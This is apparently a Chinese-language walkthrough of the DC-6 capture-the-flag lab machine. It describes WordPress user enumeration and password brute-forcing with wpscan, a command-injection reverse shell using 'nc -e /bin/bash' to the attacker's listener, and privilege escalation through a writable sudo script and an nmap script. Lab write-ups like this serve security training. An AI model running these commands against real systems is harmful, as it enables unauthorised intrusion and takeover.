DC-6 靶机

DC_6

信息搜集

存活检测

详细扫描

需要添加 DNS 解析

bash 复制代码
vim /etc/hosts

后台网页扫描

bash 复制代码
dirsearch -u http://10.4.7.150

网页信息搜集

  • 使用 wappalyzer 插件识别 cms 指纹,发现为熟悉的 WordPress

  • 并且发现了网站的登陆页面

  • 直接上 wpscan

    扫描用户

    bash 复制代码
    wpscan --url http://wordy --enumerate u 

    扫描出如下用户,将用户写入 users 文件中以供爆破

  • 尝试 cewl 生成密码字典

  • 爆破

  • 爆破失败

  • rockyou 字典爆破

    dc6 官网上提示过滤一些密码可以提升爆破速度

    bash 复制代码
    cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
    bash 复制代码
    wpscan --url http://wordy --passwords passwords.txt --usernames users
  • 成功爆破

    用户名 mark

    密码 helpdesk01

  • 登录网页

Webshell

  • 搜索框内尝试命令注入

  • kali 开启 nc 监听

  • 输入连接反弹 shell 的命令

    bash 复制代码
    10.1.1.1|nc -e /bin/bash 10.4.7.146 7777

    有长度限制

  • 修改源码中允许的最大长度

    输入反弹命令,点击 Lookup 连接

  • 成功反弹

ssh登录

  • 反弹成功后搜集系统中有用信息

    在 /hoomr/mark/stuff 下发现了包含 graham 密码的文件

    密码为 GSo7isUM1D4

    尝试 ssh 登录

  • 成功登录

提权

  • sudo -l 查看权限

  • 发现 jens 可以无需密码以 root 权限运行 /home/jens/backups.sh

  • 查看 backup.sh 文件

    发现是一个压缩命令

  • 查看文件权限

    所属组拥有全部权限

  • 查看 graham 信息

    发现与 jens 同属一个组,拥有对文件的修改权限

  • 向文件中写入提权命令

    bash 复制代码
    echo bash >> backups.sh
  • sudo 执行

    bash 复制代码
    sudo -u jens /home/jens/backups.sh
  • 切换到 jens 用户

  • sudo -l 查看 root 权限

  • nmap 提权

    bash 复制代码
    TF=$(mktemp)
    echo 'os.execute("/bin/sh")' > $TF
    sudo nmap --script=$TF
  • 提权成功

总结

  • 命令注入,绕过
  • wpscan 用户扫描,密码爆破
  • nmap 提权
相关推荐
恰薯条的屑海鸥10 分钟前
零基础在实践中学习网络安全-皮卡丘靶场(第十期-Over Permission 模块)
学习·安全·web安全·渗透测试·网络安全学习
筏.k1 小时前
grep、wc 与管道符快速上手指南
linux
Johny_Zhao1 小时前
华为MAAS、阿里云PAI、亚马逊AWS SageMaker、微软Azure ML各大模型深度分析对比
linux·人工智能·ai·信息安全·云计算·系统运维
CodeOfCC1 小时前
c语言 封装跨平台线程头文件
linux·c语言·windows
科文小白狼1 小时前
Linux下VSCode开发环境配置(LSP)
linux·vscode·里氏替换原则·lsp
Bruce_Liuxiaowei2 小时前
深入理解PHP安全漏洞:文件包含与SSRF攻击全解析
开发语言·网络安全·php
还有几根头发呀3 小时前
UDP 与 TCP 调用接口的差异:面试高频问题解析与实战总结
网络·网络协议·tcp/ip·面试·udp
jugt3 小时前
CentOS 7.9安装Nginx1.24.0时报 checking for LuaJIT 2.x ... not found
linux·运维·centos
多多*4 小时前
LUA+Reids实现库存秒杀预扣减 记录流水 以及自己的思考
linux·开发语言·redis·python·bootstrap·lua
何双新5 小时前
第21讲、Odoo 18 配置机制详解
linux·python·开源